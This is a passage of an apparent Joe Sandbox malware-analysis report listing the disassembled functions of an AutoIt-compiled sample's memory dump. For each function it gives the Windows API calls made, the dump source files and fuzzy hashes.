IsMenu.USER32(00000000), ref: 008622C3
CreatePopupMenu.USER32 ref: 008622F7
GetMenuItemCount.USER32(000000FF), ref: 00862355
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00862386

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: fe69548f3f1326b37190c785f4b8f9d40073e3d982379026134b49132226bd89
Instruction ID: 90c38ce3a5f1f3bc100eb1106d5137f9a82e1b666139aa4afeb6bf7c998bc2b5
Opcode Fuzzy Hash: fe69548f3f1326b37190c785f4b8f9d40073e3d982379026134b49132226bd89
Instruction Fuzzy Hash: 3F51BE70600A4ADBDF21CF68CA88BADBBF5FF05318F1141A9E811E73A1D7748944CB52

Function 00801765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00802612: GetWindowLongW.USER32(?,000000EB), ref: 00802623

BeginPaint.USER32(?,?,?,?,?,?), ref: 0080179A
GetWindowRect.USER32(?,?), ref: 008017FE
ScreenToClient.USER32(?,?), ref: 0080181B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 0080182C
EndPaint.USER32(?,?), ref: 00801876

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 2a24087a1dd2605fde5bc3fba59dc4fe98198e950426791598faf6a2ffbe1034
Instruction ID: b1cfd3b51fec51467a5968471bfcf42e789d70fd9b259dd3f82f5db99520e13e
Opcode Fuzzy Hash: 2a24087a1dd2605fde5bc3fba59dc4fe98198e950426791598faf6a2ffbe1034
Instruction Fuzzy Hash: D8418D70100601AFDB10DF28CC88FA67BF8FB59764F044639FAA4C61A2D730A945DB62

Function 0088B69E Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(008C57B0,00000000,00E25320,?,?,008C57B0,?,0088B5A8,?,?), ref: 0088B712
EnableWindow.USER32(00000000,00000000), ref: 0088B736
ShowWindow.USER32(008C57B0,00000000,00E25320,?,?,008C57B0,?,0088B5A8,?,?), ref: 0088B796
ShowWindow.USER32(00000000,00000004,?,0088B5A8,?,?), ref: 0088B7A8
EnableWindow.USER32(00000000,00000001), ref: 0088B7CC
SendMessageW.USER32(?,0000130C,?,00000000), ref: 0088B7EF

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 1a4cf643dcbccf82e6d978f991ea5e788cb79434f1297075c830f5e7e468c595
Instruction ID: 8d5ec4ccfd939dc66e151ae60b0a8ec345e415307e7bcc40a63959ac97133d56
Opcode Fuzzy Hash: 1a4cf643dcbccf82e6d978f991ea5e788cb79434f1297075c830f5e7e468c595
Instruction Fuzzy Hash: 87415134600241AFDB25EF28C499B957BE1FF89310F5881B9FA58CF6A3C731A856CB51

Function 0087709E Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00874E41,?,?,00000000,00000001), ref: 008770AC

Part of subcall function 008739A0: GetWindowRect.USER32(?,?), ref: 008739B3

GetDesktopWindow.USER32 ref: 008770D6
GetWindowRect.USER32(00000000), ref: 008770DD
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 0087710F

Part of subcall function 00865244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 008652BC

GetCursorPos.USER32(?), ref: 0087713B
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00877199

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 031839dae328c5b7d912e8c28abaca73f047512737f396cfe44fbb1b11a838e4
Instruction ID: 8e78bbcd8ac83b335e3d76a1f10075960a948b8757a9663daef0a52b836b6f6e
Opcode Fuzzy Hash: 031839dae328c5b7d912e8c28abaca73f047512737f396cfe44fbb1b11a838e4
Instruction Fuzzy Hash: 6131B272609305ABD720DF18D849F9BB7A9FF89314F004919F589D7192DB70EA09CBA2

Function 00858879 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 008580A9: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 008580C0
Part of subcall function 008580A9: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 008580CA
Part of subcall function 008580A9: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 008580D9
Part of subcall function 008580A9: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 008580E0
Part of subcall function 008580A9: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 008580F6

GetLengthSid.ADVAPI32(?,00000000,0085842F), ref: 008588CA
GetProcessHeap.KERNEL32(00000008,00000000), ref: 008588D6
HeapAlloc.KERNEL32(00000000), ref: 008588DD
CopySid.ADVAPI32(00000000,00000000,?), ref: 008588F6
GetProcessHeap.KERNEL32(00000000,00000000,0085842F), ref: 0085890A
HeapFree.KERNEL32(00000000), ref: 00858911

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 4afb6d35eb34933976bff40d27739793f9c45ae8d2d111cc04f1c1550b1399b5
Instruction ID: 39be1fe8471b41b7dfc0960b99fd7edbd15a063c0e3d1ec9d2b1e5bc002a3a0a
Opcode Fuzzy Hash: 4afb6d35eb34933976bff40d27739793f9c45ae8d2d111cc04f1c1550b1399b5
Instruction Fuzzy Hash: EB11B135501609FFDB119FA8DC09BBEBB68FB44316F10402AE945E7211CB32AD18DB61

Function 008585B1 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 008585E2
OpenProcessToken.ADVAPI32(00000000), ref: 008585E9
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 008585F8
CloseHandle.KERNEL32(00000004), ref: 00858603
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00858632
DestroyEnvironmentBlock.USERENV(00000000), ref: 00858646

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: c893d8e2628e5a86dc569ab3c90fd065b425c1dc660065a7ce1db9c2f3182db8
Instruction ID: 2c129426f429061a120ce8c2a89439c1c95990a8ca17b8422f2ee914af4a25e1
Opcode Fuzzy Hash: c893d8e2628e5a86dc569ab3c90fd065b425c1dc660065a7ce1db9c2f3182db8
Instruction Fuzzy Hash: DF114772501249EBDF019FA8DD49BEA7BA9FB08345F144065FE04E2161C7729E64AB60

Function 0085B790 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0085B7B5
GetDeviceCaps.GDI32(00000000,00000058), ref: 0085B7C6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0085B7CD
ReleaseDC.USER32(00000000,00000000), ref: 0085B7D5
MulDiv.KERNEL32(000009EC,?,00000000), ref: 0085B7EC
MulDiv.KERNEL32(000009EC,?,?), ref: 0085B7FE

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 25e0d0654c8430f5c0931097c97f3749d11e5a945623824da8340c3695c358c6
Instruction ID: 6442b7d2a48d580212758c71da5f3923ff55a608d8c4d2dcd23e4162c665198b
Opcode Fuzzy Hash: 25e0d0654c8430f5c0931097c97f3749d11e5a945623824da8340c3695c358c6
Instruction Fuzzy Hash: 36017175A00209BBEF109BAA9C49A5ABFA8FB58311F004065FE04E7292D6309C10CF91

Function 00820162 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00820193
MapVirtualKeyW.USER32(00000010,00000000), ref: 0082019B
MapVirtualKeyW.USER32(000000A0,00000000), ref: 008201A6
MapVirtualKeyW.USER32(000000A1,00000000), ref: 008201B1
MapVirtualKeyW.USER32(00000011,00000000), ref: 008201B9
MapVirtualKeyW.USER32(00000012,00000000), ref: 008201C1

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: c3d95861d519c56fcb0adcc9d505645c79b7a00abb8f7d0bb4ec79de27f4a350
Instruction ID: b6771515a5d4a3c2d016f24d76b93469400217cc331522ccc2dc1ded1ebac143
Opcode Fuzzy Hash: c3d95861d519c56fcb0adcc9d505645c79b7a00abb8f7d0bb4ec79de27f4a350
Instruction Fuzzy Hash: 3C016CB09017597DE3008F5A8C85B52FFA8FF19354F00411BA15C87942C7F5A864CBE5

Function 008653E9 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 008653F9
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0086540F
GetWindowThreadProcessId.USER32(?,?), ref: 0086541E
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0086542D
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00865437
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0086543E

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 2fee82f626a32d78c0ffb538c3b0c2adda3926d2a9de32d4cfabfc97ac965d3b
Instruction ID: 98fec5de8a4008cef508c3fc84d7510ac9d9d8653cdaf2f9ddf3a98a4ceb1470
Opcode Fuzzy Hash: 2fee82f626a32d78c0ffb538c3b0c2adda3926d2a9de32d4cfabfc97ac965d3b
Instruction Fuzzy Hash: A5F06D32240158BBE3215BA6DC0DEAB7A7CFFCAB11F000269FA04D1052EAA01A0187B5

Function 00867230 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00867243
EnterCriticalSection.KERNEL32(?,?,00810EE4,?,?), ref: 00867254
TerminateThread.KERNEL32(00000000,000001F6,?,00810EE4,?,?), ref: 00867261
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00810EE4,?,?), ref: 0086726E

Part of subcall function 00866C35: CloseHandle.KERNEL32(00000000,?,0086727B,?,00810EE4,?,?), ref: 00866C3F

InterlockedExchange.KERNEL32(?,000001F6), ref: 00867281
LeaveCriticalSection.KERNEL32(?,?,00810EE4,?,?), ref: 00867288

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: e73af80c77e745919fdee4ef2b324598bde6f037f27e6417d1a660c11b5f232a
Instruction ID: 4056635101cf3ab6fcabda0426f57418f0d0dfb2df4106208096979a7513a903
Opcode Fuzzy Hash: e73af80c77e745919fdee4ef2b324598bde6f037f27e6417d1a660c11b5f232a
Instruction Fuzzy Hash: A3F0823A540612EBE7121B68ED4C9DB773AFF45702B110531F703E50A2DB7A6811CB50

Function 00858992 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 0085899D
UnloadUserProfile.USERENV(?,?), ref: 008589A9
CloseHandle.KERNEL32(?), ref: 008589B2
CloseHandle.KERNEL32(?), ref: 008589BA
GetProcessHeap.KERNEL32(00000000,?), ref: 008589C3
HeapFree.KERNEL32(00000000), ref: 008589CA

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 1be80210c2a147173eae54327cc4dfadf52303a739a0b1e1204c23580c91cdc9
Instruction ID: 11dce0fd5d95037e7ff03ff19f0fa67973d6a28614056f37c349a9840020fa74
Opcode Fuzzy Hash: 1be80210c2a147173eae54327cc4dfadf52303a739a0b1e1204c23580c91cdc9
Instruction Fuzzy Hash: 49E0527A104505FBDA022FE9EC0C95ABB69FB89762B508631F319C1575CB32A461DB50

Function 008785ED Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00878613
CharUpperBuffW.USER32(?,?), ref: 00878722
VariantClear.OLEAUT32(?), ref: 0087889A

Part of subcall function 00867562: VariantInit.OLEAUT32(00000000), ref: 008675A2
Part of subcall function 00867562: VariantCopy.OLEAUT32(00000000,?), ref: 008675AB
Part of subcall function 00867562: VariantClear.OLEAUT32(00000000), ref: 008675B7

Strings

AUTOIT.ERROR, xrefs: 00878728
Incorrect Parameter format, xrefs: 0087864B, 0087880D

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: bddccd9f3e900c7755ddcb99b71419effcd0a2e53ffe7c88b827187b32270e51
Instruction ID: de6df456ddd0745e6b67cc792e12b22feedb6be9b52f99f9c1f9a3b79b5842d5
Opcode Fuzzy Hash: bddccd9f3e900c7755ddcb99b71419effcd0a2e53ffe7c88b827187b32270e51
Instruction Fuzzy Hash: 8A912770604305DFC710DF28C88995ABBE4FB89714F14896EF99ACB3A2DB30E945CB52

Function 008897F4 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00E2EE78,?), ref: 00889863
ScreenToClient.USER32(00000002,00000002), ref: 00889896
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00889903

Strings

S, xrefs: 00889832, 0088992D

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID: S
API String ID: 3880355969-2858979982
Opcode ID: 794cf92ecd281896703142c694a9275089c3f439a18db07318068454f3bb608c
Instruction ID: 82843319f3240ec750f0f96441f5bd63405173d071f95881112abf117739454e
Opcode Fuzzy Hash: 794cf92ecd281896703142c694a9275089c3f439a18db07318068454f3bb608c
Instruction Fuzzy Hash: 61510B74A00209AFCF10DF68C884ABE7BB5FF55360F148269F995DB2A0D731AD81CB90

Function 0085D56C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 0085D5D4
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 0085D60A
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 0085D61B
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 0085D69D

Strings

DllGetClassObject, xrefs: 0085D610

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 79268f45084a2209f4bd68e7d3836f10a1bcd71b7060d316bd264e35cd16a346
Instruction ID: 90b56dd6f894436b174f904f53b3632aea491594d0b2b8411a4fa6bbc50ab667
Opcode Fuzzy Hash: 79268f45084a2209f4bd68e7d3836f10a1bcd71b7060d316bd264e35cd16a346
Instruction Fuzzy Hash: 21419CB1600305EFDB25DF64C884A9A7BE9FF58316F1580A9AD09DF206D7B0D949CBE0

Function 00862753 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 008627C0
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 008627DC
DeleteMenu.USER32(?,00000007,00000000), ref: 00862822
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,008C5890,00000000), ref: 0086286B

Strings

0, xrefs: 008627B5

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 1c06a7dec46ff9bd135e7f3ce2040d4a5e9cec7fb7a04be2a6012babf4126406
Instruction ID: d6bdef26fb287ca14f530d12183c76db157f5e6cfbab7f3ee69555bee93f562a
Opcode Fuzzy Hash: 1c06a7dec46ff9bd135e7f3ce2040d4a5e9cec7fb7a04be2a6012babf4126406
Instruction Fuzzy Hash: F3418C706047019FD720DF28CC44B1ABBE8FF85314F0549ADF9A5D7292D734A805CB62

Function 00888851 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 008888DE

Strings

S, xrefs: 0088888D

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: InvalidateRect
String ID: S
API String ID: 634782764-2858979982
Opcode ID: a7b3612107a510aaf5dc453987a412fc9808604bb4bf1661208048ae140e70ac
Instruction ID: a0defdf04c5dc2e8b6ebe81832a75b2cf909aef4370541f4b10e455fd1258fc4
Opcode Fuzzy Hash: a7b3612107a510aaf5dc453987a412fc9808604bb4bf1661208048ae140e70ac
Instruction Fuzzy Hash: 80319234640109EFEF20BA68CC45FB97BB5FB09360FD44122FA55E62A1CF70E9809B56

Function 0088AB37 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0088AB60
GetWindowRect.USER32(?,?), ref: 0088ABD6
PtInRect.USER32(?,?,0088C014), ref: 0088ABE6
MessageBeep.USER32(00000000), ref: 0088AC57

Strings

S, xrefs: 0088AB9C, 0088ABFE

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

